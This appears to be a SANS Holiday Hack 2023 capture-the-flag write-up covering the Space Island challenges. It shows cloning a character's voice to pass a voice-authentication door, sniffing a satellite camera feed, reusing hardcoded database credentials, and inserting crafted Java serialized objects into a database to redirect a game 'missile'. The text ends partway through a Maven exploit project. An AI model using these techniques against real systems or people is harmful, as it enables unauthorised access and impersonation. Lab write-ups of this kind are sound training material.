Skip to content

Space Island⚓︎

Embark on your celestial adventure by guiding our ship to Space Island. Employ the arrow keys on the keyboard or the WASD keys for navigation, as the island is situated in the top-left corner of the map. May your journey through the cosmos be both thrilling and successful!

There are two different ports available:

Port of Spaceport Point⚓︎

While exploring the Space Island, we discover the Port of Spaceport Point. Upon reaching it, a "Dock Now" option is presented to us.

docknow

The dock featured the Goose of Space Island to greet us!

dock

When we make land, we obtain a new objective on arrival.

Space Island Door Access Speaker (Space Island)

There's a door that needs opening on Space Island! Talk to Jewel Loggins there for more information.

Full Island (Zoomed Out)

zoom30

Space Island Door Access Speaker⚓︎

Space Island Door Access Speaker (Space Island)

There's a door that needs opening on Space Island! Talk to Jewel Loggins there for more information.

If we keep proceeding to the north of the island, we can find Jewel Loggins outside of a tram.

jewel

When speaking with Jewel Loggins, we obtain the following hint:

MFA: Something You Are

It seems the Access Speaker is programmed to only accept Wombley's voice. Maybe you could get a sample of his voice and use an AI tool to simulate Wombley speaking the passphrase.

When opening up the door challenge, it asks for a .wav file of Wombley's voice file.

wav

When we select a test .wav file to upload, it prepares and sends a POST request to /upload and provides a redirection link with a match percentage MATCH (34%) in a parameter.

request
POST /upload?id=80ca50bc-2ad7-45ee-ab5c-23fca954d7d3 HTTP/2
Host: islanddoor.space
Cookie: GCLB="9b2d095558b30b14"
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: multipart/form-data; boundary=---------------------------121215153010570311442204811029
Content-Length: 48468

-----------------------------121215153010570311442204811029
Content-Disposition: form-data; name="file"; filename="trumpet-1.wav"
Content-Type: audio/wav

Response: 302 -> https://islanddoor.space/index.html?msg=NO%20VOICE%0AMATCH%20%2834%25%29&id=80ca50bc-2ad7-45ee-ab5c-23fca954d7d3

The secret passphrase was retrieved from completing the Active Directory objective. This had us obtain a secret file called InstructionsForEnteringSatelliteGroundStation.txt that had the exact 2FA phrase to say to the speaker!

phrase
Note to self:

To enter the Satellite Ground Station (SGS), say the following into the speaker:

And he whispered, 'Now I shall be out of sight;
So through the valley and over the height.'
And he'll silently take his way.

Earlier, we had a conversation with Wombley Cube on Film Noir Island, who provided us with a sample of his speech characteristics in the form of an audiobook. Now, we can leverage an AI-powered speech cloner tool. I opted for Speechify, where I imported Wombley's Audiobook and the desired phrase for audio generation.

speechify

Then we convert the generated .mp3 file to a .wav file for upload using ffmpeg:

ffmpeg -i speechify_cloned_voice_wombleycube_the_enchanted_voyage_2024-01-02_04-31-20.mp3 speechify_cloned_voice_wombleycube_the_enchanted_voyage_2024-01-02_04-31-20.wav

We select the speech file of speechify_cloned_voice_wombleycube_the_enchanted_voyage_2024-01-02_04-31-20.wav and we instantly get in!

spaceportdoor

Achievement

Congratulations! You have completed the Space Island Door Access Speaker challenge!

Port of Cape Cosmic⚓︎

While exploring the Space Island, we discover the Port of Cape Cosmic. Upon reaching it, a "Dock Now" option is presented to us.

docknow

The dock featured the Goose of Space Island to greet us!

dock

Full Island (Zoomed Out)

zoom30

After the Space Island Access Speaker objective, we can now enter the facility!

facility

Full Island - Inside Gate (30% Zoom)

zoom30

On the east side of the enclosed facility, the satellite building can be entered!

building

We enter Zenith SGS - Satellite Ground Station and are met with Wombley Cube!

zsgs

Camera Access⚓︎

Camera Access (Space Island)

Gain access to Jack's camera. What's the third item on Jack's TODO list?

When speaking with Wombley Cube, we obtain the following hint:

Hubris is a Virtue

In his hubris, Wombley revealed that he thinks you won't be able to access the satellite's "Supervisor Directory". There must be a good reason he mentioned that specifically, and a way to access it. He also said there's someone else masterminding the whole plot. There must be a way to discover who that is using the nanosat.

Final Door⚓︎

When clicking on the "final door" on the right, it loads a video of space including sun, moon, earth, and a satellite!

finaldoor

SGS Terminal⚓︎

When clicking on the middle SGS terminal, it loads a picture "Nanosat Christmas Comms - Wishing you the warmest disaster avoidance this Holiday Season!"

sgsterminal

Gator - Wireguard VPN⚓︎

On the bottom-left corner, there is a Gator that when clicked launches at app:

gator

Clicking on About; Status: 🟢 | Ttl: 4.0 hours | Target: 34.41.215.165

intro

If we click on the "Time Travel" button, we obtain a wireguard configuration file to connect to a VPN. We can connect using the following script:

bash -c 'cat << "EOF" > wg0-server.conf
[Interface]
Address = 10.1.1.1/24
PrivateKey = cc05IavQldS5XGj9xReSvuaXsY9xgQHBbdZaC3ddyu0=
ListenPort = 51820

[Peer]
PublicKey = JXCCduNBIRDushn3bxjcCogX0YqhsemMWdEsm7jdkRk=
AllowedIPs = 10.1.1.2/32
EOF'

bash -c 'cat << "EOF" > wg0.conf
[Interface]
Address = 10.1.1.2/24
PrivateKey = bYkny3XP9CyMUbAiefgCBghBzQDADSvNjsU1A+8T1BU=
ListenPort = 51820

[Peer]
PublicKey = xViQTwGY7OhV6hHEPYKlgLqdYv9GTqyOZU8QRWf2Mws=
Endpoint = 34.173.170.84:51820
AllowedIPs = 10.1.1.1/32
EOF'

sudo cp wg0.conf /etc/wireguard/wg0.conf
sudo wg-quick down wg0
sudo wg-quick up wg0
[#] ip link add wg0 type wireguard
[#] wg setconf wg0 /dev/fd/63
[#] ip -4 address add 10.1.1.2/24 dev wg0
[#] ip link set mtu 1420 up dev wg0

Vending Machine⚓︎

When speaking with the vending machine NanoSat-o-Matic, he provides a Java program all zipped up and containerized - "Hi there! I am a Ground station client vending machine. Apparently there is a huge need for NanoSat frameworks here, so they have put me in this room. Here, have a free sample!"

Within the archive, the satellite/client_container/README.md explains how to setup your environment to connect with Wireguard, launch a docker container, connect over VNC, etc.

We can build and run the application in a docker container (this takes a few minutes):

sudo ./build_and_run.sh
Sending build context to Docker daemon  119.4MB
Step 1/15 : FROM eclipse-temurin:11-jre
11-jre: Pulling from library/eclipse-temurin
3dd181f9be59: Pull complete
6d733e6219d9: Pull complete
41f868d375a0: Pull complete
7e0b41871d28: Pull complete
abba5c11ffee: Pull complete
Digest: sha256:cfba8df9620f10a0e8b6a147a9a1a09dfce2477a9cb4552dfe94bc7319aa3032
Status: Downloaded newer image for eclipse-temurin:11-jre
 ---> 05c7c092e61d
..[snip]..

Or you can use podman:

podman machine start
cd client_container
podman build -t nmf_client -f Dockerfile
podman run -d -p 6901:6901 -p 5900:5900 --cap-add="NET_ADMIN" --cap-add="NET_RAW" nmf_client

We can connect to it using vncviewer that will connect to our localhost:5900 VNC server hosted in the docker:

vncviewer 127.0.0.1

vnc

NanoSat MO Base Station Tool⚓︎

Launching NanoSat MO Base Station Tool from within the VNC (by right-clicking):

nanosat

The [[satellite/client_container/README.md]] explains how to connect to the directory service of maltcp://10.1.1.1:1024/nanosat-mo-supervisor-Directory

readme

The main screen lists all the services and their relevant URI's and Broker URI's:

Service name Supported Capabilities Service Properties URI address Broker URI Address
PackageManagement All Supported [] maltcp://10.1.1.1:1024/nanosat-mo-supervisor-PackageManagement null
AutonomousADCS All Supported [] maltcp://10.1.1.1:1024/nanosat-mo-supervisor-AutonomousADCS maltcp://10.1.1.1:1024/nanosat-mo-supervisor-AutonomousADCSInternalBroker
OpticalDataReceiver All Supported [] maltcp://10.1.1.1:1024/nanosat-mo-supervisor-OpticalDataReceiver maltcp://10.1.1.1:1024/nanosat-mo-supervisor-OpticalDataReceiverInternalBroker
Action All Supported [] maltcp://10.1.1.1:1024/nanosat-mo-supervisor-Action null
Archive All Supported [] maltcp://10.1.1.1:1024/nanosat-mo-supervisor-Archive null
CommandExecutor All Supported [] maltcp://10.1.1.1:1024/nanosat-mo-supervisor-CommandExecutor maltcp://10.1.1.1:1024/nanosat-mo-supervisor-CommandExecutorInternalBroker
ArchiveSync All Supported [] maltcp://10.1.1.1:1024/nanosat-mo-supervisor-ArchiveSync null
GPS All Supported [] maltcp://10.1.1.1:1024/nanosat-mo-supervisor-GPS maltcp://10.1.1.1:1024/nanosat-mo-supervisor-GPSInternalBroker
Clock All Supported [] maltcp://10.1.1.1:1024/nanosat-mo-supervisor-Clock maltcp://10.1.1.1:1024/nanosat-mo-supervisor-ClockInternalBroker
AppsLauncher All Supported [] maltcp://10.1.1.1:1024/nanosat-mo-supervisor-AppsLauncher maltcp://10.1.1.1:1024/nanosat-mo-supervisor-AppsLauncherInternalBroker
Aggregation All Supported [] maltcp://10.1.1.1:1024/nanosat-mo-supervisor-Aggregation maltcp://10.1.1.1:1024/nanosat-mo-supervisor-AggregationInternalBroker
Heartbeat All Supported [] maltcp://10.1.1.1:1024/nanosat-mo-supervisor-Heartbeat maltcp://10.1.1.1:1024/nanosat-mo-supervisor-HeartbeatInternalBroker
Event All Supported [] maltcp://10.1.1.1:1024/nanosat-mo-supervisor-Event maltcp://10.1.1.1:1024/nanosat-mo-supervisor-EventInternalBroker
Parameter All Supported [] maltcp://10.1.1.1:1024/nanosat-mo-supervisor-Parameter maltcp://10.1.1.1:1024/nanosat-mo-supervisor-ParameterInternalBroker
Alert All Supported [] maltcp://10.1.1.1:1024/nanosat-mo-supervisor-Alert null
SoftwareDefinedRadio All Supported [] maltcp://10.1.1.1:1024/nanosat-mo-supervisor-SoftwareDefinedRadio maltcp://10.1.1.1:1024/nanosat-mo-supervisor-SoftwareDefinedRadioInternalBroker
Camera All Supported [] maltcp://10.1.1.1:1024/nanosat-mo-supervisor-Camera maltcp://10.1.1.1:1024/nanosat-mo-supervisor-CameraInternalBroker
PowerControl All Supported [] maltcp://10.1.1.1:1024/nanosat-mo-supervisor-PowerControl maltcp://10.1.1.1:1024/nanosat-mo-supervisor-PowerControlInternalBroker
Directory All Supported [] maltcp://10.1.1.1:1024/nanosat-mo-supervisor-Directory null

Camera⚓︎

Since we are looking for a picture, we can starting the camera service using the runApp utility!

camera

Connect to the new directory service URI:

camera

Aggregation All Supported [] maltcp://10.1.1.1:1025/camera-Aggregation maltcp://10.1.1.1:1025/camera-AggregationInternalBroker
Action All Supported [] maltcp://10.1.1.1:1025/camera-Action null
Archive All Supported [] maltcp://10.1.1.1:1025/camera-Archive null
Heartbeat All Supported [] maltcp://10.1.1.1:1025/camera-Heartbeat maltcp://10.1.1.1:1025/camera-HeartbeatInternalBroker
Event All Supported [] maltcp://10.1.1.1:1025/camera-Event maltcp://10.1.1.1:1025/camera-EventInternalBroker
Parameter All Supported [] maltcp://10.1.1.1:1025/camera-Parameter maltcp://10.1.1.1:1025/camera-ParameterInternalBroker
ArchiveSync All Supported [] maltcp://10.1.1.1:1025/camera-ArchiveSync null
Alert All Supported [] maltcp://10.1.1.1:1025/camera-Alert null
Directory All Supported [] maltcp://10.1.1.1:1025/camera-Directory null

We can enable the generation of snapshots from the camera via the Parameter Service and enableGeneration button:

generate

However, getting the object value of Base64SnapImage is not fully displayed when clicking on getValue.

object

We also checked the Published Parameter Values tab:

published

Wireshark Image Extraction⚓︎

Since the Java GUI does not display the entire Base64SnapImage contents of the image, we need to extract the contents some other way. Since the contents are unencrypted and Wireshark is installed, we can capture the Base64SnapImage through Wireshark by capturing on All Interfaces and export the packet capture to our main host via a docker cp command.

We can save the capture to /root/camera-capture.pcapng and transfer it back to our host:

sudo docker ps
sudo docker cp <container_name>:/root/camera-capture.pcapng .

We found that the beginning of an image starts with 4AAQSK, if we find all the packets that start with that, we can just extract packet 40344 through 41654 and we should have everything we need to extract an image!

Wireshark Filter: frame matches "4AAQSK"

wireshark

We can then extract a single image transmission into a new pcap file by going to File -> Export Specified Packets. The range would be: 40344-41654 (captured)

export

We can then parse this single image PCAP file to extract all the relevant packets into hex using tshark:

tshark -r images.pcapng -Y 'tcp' -T fields -e data -e tcp.stream | awk '{print $1}' | grep -v '^[0-9]\{1,2\}$'

We can then copy the hex dump into Cyberchef for additional processing:

cyberchef

The final decoded image:

Untitled

Oh no ... Jack is at it again!

Checklist:

  • Get SANTA TO MOVE TO GEESE ISLANDS
  • PLACE GEOSTATIONARY SATELLITE ABOVE ISLANDS
  • CONQUER HOLIDAY SEASON!

Looking back at the challenge question, the answer is the last item on the list. Answer: CONQUER HOLIDAY SEASON!

Achievement

Congratulations! You have completed the Camera Access challenge!

After the completion of Camera Access, we unlocked a new objective:

Missile Diversion (Space Island)

Thwart Jack's evil plan by re-aiming his missile at the Sun.

Missile Diversion⚓︎

Missile Diversion (Space Island)

Thwart Jack's evil plan by re-aiming his missile at the Sun.

When speaking with Wombley Cube, we obtain the following hint:

Always Lock Your Computer

Wombley thinks he may have left the admin tools open. I should check for those if I get stuck.

Missile Targeting System⚓︎

Since we are looking to stop a missile, we can starting the missile-targeting-system service using the runApp utility!

missle

NFO: NanoSat MO Connector initialized in 1.395 seconds!
2024-01-04 00:47:37.054 esa.mo.nmf.nanosatmoconnector.NanoSatMOConnectorImpl init
INFO: URI: maltcp://10.1.1.1:1025/missile-targeting-system-Directory

Then we can connect to the missile-targeting-system-Directory under the directory service URI:

missle

Aggregation All Supported [] maltcp://10.1.1.1:1025/missile-targeting-system-Aggregation maltcp://10.1.1.1:1025/missile-targeting-system-AggregationInternalBroker
Action All Supported [] maltcp://10.1.1.1:1025/missile-targeting-system-Action null
Archive All Supported [] maltcp://10.1.1.1:1025/missile-targeting-system-Archive null
Heartbeat All Supported [] maltcp://10.1.1.1:1025/missile-targeting-system-Heartbeat maltcp://10.1.1.1:1025/missile-targeting-system-HeartbeatInternalBroker
Event All Supported [] maltcp://10.1.1.1:1025/missile-targeting-system-Event maltcp://10.1.1.1:1025/missile-targeting-system-EventInternalBroker
Parameter All Supported [] maltcp://10.1.1.1:1025/missile-targeting-system-Parameter maltcp://10.1.1.1:1025/missile-targeting-system-ParameterInternalBroker
ArchiveSync All Supported [] maltcp://10.1.1.1:1025/missile-targeting-system-ArchiveSync null
Alert All Supported [] maltcp://10.1.1.1:1025/missile-targeting-system-Alert null
Directory All Supported [] maltcp://10.1.1.1:1025/missile-targeting-system-Directory null

We can enable the parameter service of PointingMode, X, Y, and Debug:

parameter

Looking at parameters generated from the missile-targeting-system, we can see a Debug flag that looks interesting.

parameter

NMAP Scan⚓︎

We can perform a quick nmap scan of 10.1.1.1 to identify a MySQL database port open on 3306 that could be our target for stopping the missile-targeting-system!

$ nmap -v -sC -sV 10.1.1.1
Nmap scan report for 10.1.1.1
PORT      STATE SERVICE VERSION
1024/tcp  open  kdm?
1025/tcp open  NFS-or-IIS?
3306/tcp  open  mysql?
10022/tcp open  ssh     OpenSSH 8.4p1 Debian 5+deb11u2 (protocol 2.0)

Java Reversing⚓︎

We can use jd-cli.jar to decompile all the Java JAR files within assets/nmf/lib/ and output them to ../librev for easier analysis!

find assets/nmf/lib/ -name '*.jar' -exec java -jar /opt/java-compiled/jd-cli.jar --outputDir ../librev {} \;

Looking at the source code of themissile-targeting-system at assets/nmf/librev/esa/mo/nmf/apps/MissileTargetingSystemMCAdapter.java, we are able to find MySQL credentials of Username:targeter and Password: cu3xmzp9tzpi00bdqvxq.

private String sqlDebug(String injection) {
String query = "SELECT VERSION()" + injection;
StringBuilder resultString = new StringBuilder();
try {
  Connection connection = DriverManager.getConnection("jdbc:mariadb://localhost:3306/missile_targeting_system?allowMultiQueries=true", "targeter", "cu3xmzp9tzpi00bdqvxq");
  try {
    Statement statement = connection.createStatement();
    try {
    boolean hasResultSet = statement.execute(query);
    int resultSetCount = 0;
    while (true) {
  if (hasResultSet) {
    ResultSet resultSet = statement.getResultSet();
    try {
    ResultSetMetaData metaData = resultSet.getMetaData();
    int columnCount = metaData.getColumnCount();
    while (resultSet.next()) {
     for (int i = 1; i <= columnCount; i++) {
    String columnName = metaData.getColumnName(i);
    String columnValue = resultSet.getString(i);
    resultString.append(columnName + ": " + columnValue + " | ");
     }
     resultString.append("\n");
   }
    if (resultSet != null)

We can login to the remote MySQL database using these credentials with the mysql client utility.:

$ mysql -u 'targeter' -p'cu3xmzp9tzpi00bdqvxq' -h '10.1.1.1'
Welcome to the MariaDB monitor.  Commands end with ; or \g.
Your MariaDB connection id is 2092
Server version: 11.2.2-MariaDB-1:11.2.2+maria~ubu2204 mariadb.org binary distribution

Lets see what databases are in here:

MariaDB [(none)]> show databases;
+--------------------------+
| Database                 |
+--------------------------+
| information_schema       |
| missile_targeting_system |
+--------------------------+
2 rows in set (0.055 sec)

Lets see what permissions we have using show grants.

MariaDB [(none)]> show grants;
+---------------------------------------------------------------------------------------------------------+
| Grants for targeter@%                                                                                   |
+---------------------------------------------------------------------------------------------------------+
| GRANT USAGE ON *.* TO `targeter`@`%` IDENTIFIED BY PASSWORD '*41E2CFE844C8F1F375D5704992440920F11A11BA' |
| GRANT SELECT, INSERT ON `missile_targeting_system`.`satellite_query` TO `targeter`@`%`                  |
| GRANT SELECT ON `missile_targeting_system`.`pointing_mode` TO `targeter`@`%`                            |
| GRANT SELECT ON `missile_targeting_system`.`messaging` TO `targeter`@`%`                                |
| GRANT SELECT ON `missile_targeting_system`.`target_coordinates` TO `targeter`@`%`                       |
| GRANT SELECT ON `missile_targeting_system`.`pointing_mode_to_str` TO `targeter`@`%`                     |
+---------------------------------------------------------------------------------------------------------+

Lets enumerate the tables of the missile_targeting_system database:

MariaDB [missile_targeting_system]> show tables;
+------------------------------------+
| Tables_in_missile_targeting_system |
+------------------------------------+
| messaging                          |
| pointing_mode                      |
| pointing_mode_to_str               |
| satellite_query                    |
| target_coordinates                 |
+------------------------------------+
5 rows in set (0.065 sec)

We can then inspect all of the content of all of the tables within the missile_targeting_system database:

MariaDB [missile_targeting_system]> select * from messaging;
+----+----------------------+------------+
| id | msg_type             | msg_data   |
+----+----------------------+------------+
|  1 | RedAlphaMsg          | RONCTTLA   |
|  2 | MsgAuth              | 220040DL   |
|  3 | LaunchCode           | DLG2209TVX |
|  4 | LaunchOrder          | CONFIRMED  |
|  5 | TargetSelection      | CONFIRMED  |
|  6 | TimeOnTargetSequence | COMPLETE   |
|  7 | YieldSelection       | COMPLETE   |
|  8 | MissileDownlink      | ONLINE     |
|  9 | TargetDownlinked     | FALSE      |
+----+----------------------+------------+
9 rows in set (0.064 sec)

MariaDB [missile_targeting_system]> select * from pointing_mode;
+----+----------------+
| id | numerical_mode |
+----+----------------+
|  1 |              0 |
+----+----------------+
1 row in set (0.062 sec)

MariaDB [missile_targeting_system]> select * from pointing_mode_to_str;
+----+----------------+------------------+----------------------------------------------------------------------------------------+
| id | numerical_mode | str_mode         | str_desc                                                                               |
+----+----------------+------------------+----------------------------------------------------------------------------------------+
|  1 |              0 | Earth Point Mode | When pointing_mode is 0, targeting system applies the target_coordinates to earth.     |
|  2 |              1 | Sun Point Mode   | When pointing_mode is 1, targeting system points at the sun, ignoring the coordinates. |
+----+----------------+------------------+----------------------------------------------------------------------------------------+
2 rows in set (0.063 sec)

MariaDB [missile_targeting_system]> select * from satellite_query;
+-----+----------------------------------------------------------------------------------------------------------------------------------------------------------------+-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+
| jid | object                                                                                                                                                         | results                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          |
+-----+----------------------------------------------------------------------------------------------------------------------------------------------------------------+-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+
|   1 | �� sr SatelliteQueryFileFolderUtility������ Z isQueryZisUpdateL pathOrStatementt Ljava/lang/String;xp  t )/opt/SatelliteQueryFileFolderUtility.java         | import java.io.Serializable;
import java.io.IOException;
import java.nio.charset.StandardCharsets;
import java.nio.file.*;
import java.util.stream.Collectors;
import java.util.stream.Stream;
import java.sql.*;
import java.util.ArrayList;
import java.util.HashMap;
import java.util.List;
import com.google.gson.Gson;

public class SatelliteQueryFileFolderUtility implements Serializable {
    private String pathOrStatement;
    private boolean isQuery;
    private boolean isUpdate;

    public SatelliteQueryFileFolderUtility(String pathOrStatement, boolean isQuery, boolean isUpdate) {
        this.pathOrStatement = pathOrStatement;
        this.isQuery = isQuery;
        this.isUpdate = isUpdate;
    }

    public String getResults(Connection connection) {
        if (isQuery && connection != null) {
            if (!isUpdate) {
                try (PreparedStatement selectStmt = connection.prepareStatement(pathOrStatement);
                    ResultSet rs = selectStmt.executeQuery()) {
                    List<HashMap<String, String>> rows = new ArrayList<>();
                    while(rs.next()) {
                        HashMap<String, String> row = new HashMap<>();
                        for (int i = 1; i <= rs.getMetaData().getColumnCount(); i++) {
                            String key = rs.getMetaData().getColumnName(i);
                            String value = rs.getString(i);
                            row.put(key, value);
                        }
                        rows.add(row);
                    }
                    Gson gson = new Gson();
                    String json = gson.toJson(rows);
                    return json;
                } catch (SQLException sqle) {
                    return "SQL Error: " + sqle.toString();
                }
            } else {
                try (PreparedStatement pstmt = connection.prepareStatement(pathOrStatement)) {
                    pstmt.executeUpdate();
                    return "SQL Update completed.";
                } catch (SQLException sqle) {
                    return "SQL Error: " + sqle.toString();
                }
            }
        } else {
            Path path = Paths.get(pathOrStatement);
            try {
                if (Files.notExists(path)) {
                    return "Path does not exist.";
                } else if (Files.isDirectory(path)) {
                    // Use try-with-resources to ensure the stream is closed after use
                    try (Stream<Path> walk = Files.walk(path, 1)) { // depth set to 1 to list only immediate contents
                        return walk.skip(1) // skip the directory itself
                                .map(p -> Files.isDirectory(p) ? "D: " + p.getFileName() : "F: " + p.getFileName())
                                .collect(Collectors.joining("\n"));
                    }
                } else {
                    // Assume it's a readable file
                    return new String(Files.readAllBytes(path), StandardCharsets.UTF_8);
                }
            } catch (IOException e) {
                return "Error reading path: " + e.toString();
            }
        }
    }

    public String getpathOrStatement() {
        return pathOrStatement;
    }
}
 |
+-----+----------------------------------------------------------------------------------------------------------------------------------------------------------------+-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+
1 row in set (0.065 sec)

MariaDB [missile_targeting_system]> select * from target_coordinates;
+----+---------+----------+
| id | lat     | lng      |
+----+---------+----------+
|  1 | 1.14514 | -145.262 |
+----+---------+----------+
1 row in set (0.055 sec)

Since our main goal is to change the targeting from the Earth to the Sun, the pointing_mode table seems to align with that objective. The pointing_mode has the following values available - 0 (Earth Point Mode) or 1 (Sun Point Mode).

Also, looking back at our privileges ... we can add queries to the satellite_query table of the missile_targeting_system database. This is where we found a Java serialized object. Lets obtain the full Java serialized object column by wrapping it with hex() in our query:

MariaDB [missile_targeting_system]> select hex(object) from satellite_query;
ACED00057372001F536174656C6C697465517565727946696C65466F6C6465725574696C69747912D4F68D0EB392CB0200035A0007697351756572795A000869735570646174654C000F706174684F7253746174656D656E747400124C6A6176612F6C616E672F537472696E673B787000007400292F6F70742F536174656C6C697465517565727946696C65466F6C6465725574696C6974792E6A617661

Java Serialization Payload Generation⚓︎

Let's see if we can add the same Java Serialized object into the table and inspect what happens in the result column.

MariaDB [missile_targeting_system]> INSERT INTO missile_targeting_system.satellite_query VALUES(2,UNHEX("ACED00057372001F536174656C6C697465517565727946696C65466F6C6465725574696C69747912D4F68D0EB392CB0200035A0007697351756572795A000869735570646174654C000F706174684F7253746174656D656E747400124C6A6176612F6C616E672F537472696E673B787000007400292F6F70742F536174656C6C697465517565727946696C65466F6C6465725574696C6974792E6A617661"),"");

MariaDB [missile_targeting_system]> SELECT results FROM missile_targeting_system.satellite_query ORDER BY jid DESC LIMIT 1
+-----------------------------------+
| results                           |
+-----------------------------------+
| [{"numerical_mode":"1","id":"1"}] |
+-----------------------------------+
1 row in set (0.059 sec)

Building off of what we just did, I started creating a Java program to send serialized payloads to the MySQL database and fetch the results.

I started off with the initial SatelliteQueryFileFolderUtility serializable class that we obtained from the satellite_query table of the missile_targeting_system database.

SatelliteQueryFileFolderUtility.java
/* SANS Holiday Hack 2023 - Missile Diversion */

/* Imports */
import com.google.gson.Gson;
import java.io.IOException;
import java.io.Serializable;
import java.nio.charset.StandardCharsets;
import java.nio.file.*;
import java.sql.*;
import java.util.ArrayList;
import java.util.HashMap;
import java.util.List;
import java.util.stream.Collectors;
import java.util.stream.Stream;

public class SatelliteQueryFileFolderUtility implements Serializable {

  private String pathOrStatement;
  private boolean isQuery;
  private boolean isUpdate;

  private static final long serialVersionUID = 1356980473442833099L;

  public SatelliteQueryFileFolderUtility(
    String pathOrStatement,
    boolean isQuery,
    boolean isUpdate
  ) {
    this.pathOrStatement = pathOrStatement;
    this.isQuery = isQuery;
    this.isUpdate = isUpdate;
  }

  public String getResults(Connection connection) {
    if (isQuery && connection != null) {
      if (!isUpdate) {
        try (
          PreparedStatement selectStmt = connection.prepareStatement(
            pathOrStatement
          );
          ResultSet rs = selectStmt.executeQuery()
        ) {
          List<HashMap<String, String>> rows = new ArrayList<>();
          while (rs.next()) {
            HashMap<String, String> row = new HashMap<>();
            for (int i = 1; i <= rs.getMetaData().getColumnCount(); i++) {
              String key = rs.getMetaData().getColumnName(i);
              String value = rs.getString(i);
              row.put(key, value);
            }
            rows.add(row);
          }
          Gson gson = new Gson();
          String json = gson.toJson(rows);
          return json;
        } catch (SQLException sqle) {
          return "SQL Error: " + sqle.toString();
        }
      } else {
        try (
          PreparedStatement pstmt = connection.prepareStatement(pathOrStatement)
        ) {
          pstmt.executeUpdate();
          return "SQL Update completed.";
        } catch (SQLException sqle) {
          return "SQL Error: " + sqle.toString();
        }
      }
    } else {
      Path path = Paths.get(pathOrStatement);
      try {
        if (Files.notExists(path)) {
          return "Path does not exist.";
        } else if (Files.isDirectory(path)) {
          // Use try-with-resources to ensure the stream is closed after use
          try (Stream<Path> walk = Files.walk(path, 1)) { // depth set to 1 to list only immediate contents
            return walk
              .skip(1) // skip the directory itself
              .map(p ->
                Files.isDirectory(p)
                  ? "D: " + p.getFileName()
                  : "F: " + p.getFileName()
              )
              .collect(Collectors.joining("\n"));
          }
        } else {
          // Assume it's a readable file
          return new String(Files.readAllBytes(path), StandardCharsets.UTF_8);
        }
      } catch (IOException e) {
        return "Error reading path: " + e.toString();
      }
    }
  }

  public String getpathOrStatement() {
    return pathOrStatement;
  }
}

The Maven project required some dependencies that were specified in the pom.xml to connect to the database, for the original serializable class, and to disable logging.

pom.xml
<project xmlns="http://maven.apache.org/POM/4.0.0"
    xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
    xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 https://maven.apache.org/xsd/maven-4.0.0.xsd">
    <modelVersion>4.0.0</modelVersion>
    <groupId>com.exploit</groupId>
    <artifactId>SerializationUtility</artifactId>
    <version>0.0.1-SNAPSHOT</version>

    <build>
        <plugins>
            <plugin>
                <groupId>org.apache.maven.plugins</groupId>
                <artifactId>maven-compiler-plugin</artifactId>
                <version>3.12.1</version>
                <configuration>
                    <source>1.8</source>
                    <target>1.8</target>
                    <archive>
                        <manifest>
                            <mainClass>SerializationUtility</mainClass>
